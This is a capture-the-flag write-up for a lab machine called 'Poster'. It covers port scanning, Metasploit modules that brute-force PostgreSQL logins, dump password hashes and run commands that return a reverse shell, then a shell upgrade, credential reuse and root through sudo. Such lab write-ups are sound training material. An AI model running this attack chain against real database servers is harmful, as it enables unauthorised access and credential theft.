Posts Poster
Post
Cancel

Poster

Description

The sys admin set up a rdbms in a safe way.

RoomPoster
OSLinux
DifficultyEasy
Creatorstuxnet

Deploy the machine and quickly scan the open ports with rustscan,

1
rustscan -a 10.10.102.250 --ulimit 5000

image

we have 3 open ports. Let’s scan them using nmap,

1
nmap -sC -sV -p22,80,5432 10.10.102.250 -oN nmap.txt

image

Looks like port 22 is running ssh service, port 80 is running apache webserver and port 5432 is running PostgreSQL DB.

Now, as given in task, we need to boot up the metasploit using msfconsole -q and search for the modules which allows us to enumerate user credentials,

image

There is module which indeed allows us to enumerate user credentials,

1
use auxiliary/scanner/postgres/postgres_login

image

  • set rhosts 10.10.102.250

Finished setting up options and then running the module, we will get the password of the user,

image

Now, we need to find the module which allows us to execute the commands with proper user credentials,

1
use auxiliary/admin/postgres/postgres_sql

image

  • set rhosts 10.10.102.250
  • set password password

Running the module will let us know that machine is running PostgreSQL of 9.5.21 version,

image

Now, we need to run the module which allows us to dump the hashes of user,

1
use auxiliary/scanner/postgres/postgres_hashdump

image

  • set rhosts 10.10.102.250
  • set password password

Setting up the options and running the module,

image

we got username and hashes.

Now, we need run a module which allows an authenticated user to view files of their choosing on the server,

1
use exploit/multi/postgres/postgres_copy_from_program_cmd_exec

image

  • set rhosts 10.10.102.250
  • set password password
  • set lhost tun0

Running the module will get us shell,

image

we are postgresql user.

Since we don’t have a functional shell, we need to upgrade it, python3 -c 'import pty;pty.spawn("/bin/bash")'

Now, we need to enumerate home directory

image

there are 2 users, i.e. alison and dark.

Navigating to dark user directory,

image

we got credentials.txt file.

Reading the content of file,

image

these are the credentials of dark user.

Now, we can hop into machine as dark user via ssh,

1
ssh dark@10.10.102.250

image

we got in.

Now, let’s find the files which are owned by alison user,

1
find / -user alison 2> /dev/null

image

there is config.php file in /var/www/html which is owned by alison user.

Reading the content of the file reveals the credentials of alison user,

image

We can now switch to alison user using su alison,

image

Navigating to home directory and enumerating directory,

image

we can have our user flag.

Now, time for privilege escalation part. I look for those binaries which can be run with sudo without any password,

1
sudo -l

image

we can run all binaries as sudo.

So, we can try to switch to root user using,

1
sudo su

image

Whooop! We are now root!

This post is licensed under CC BY 4.0 by the author.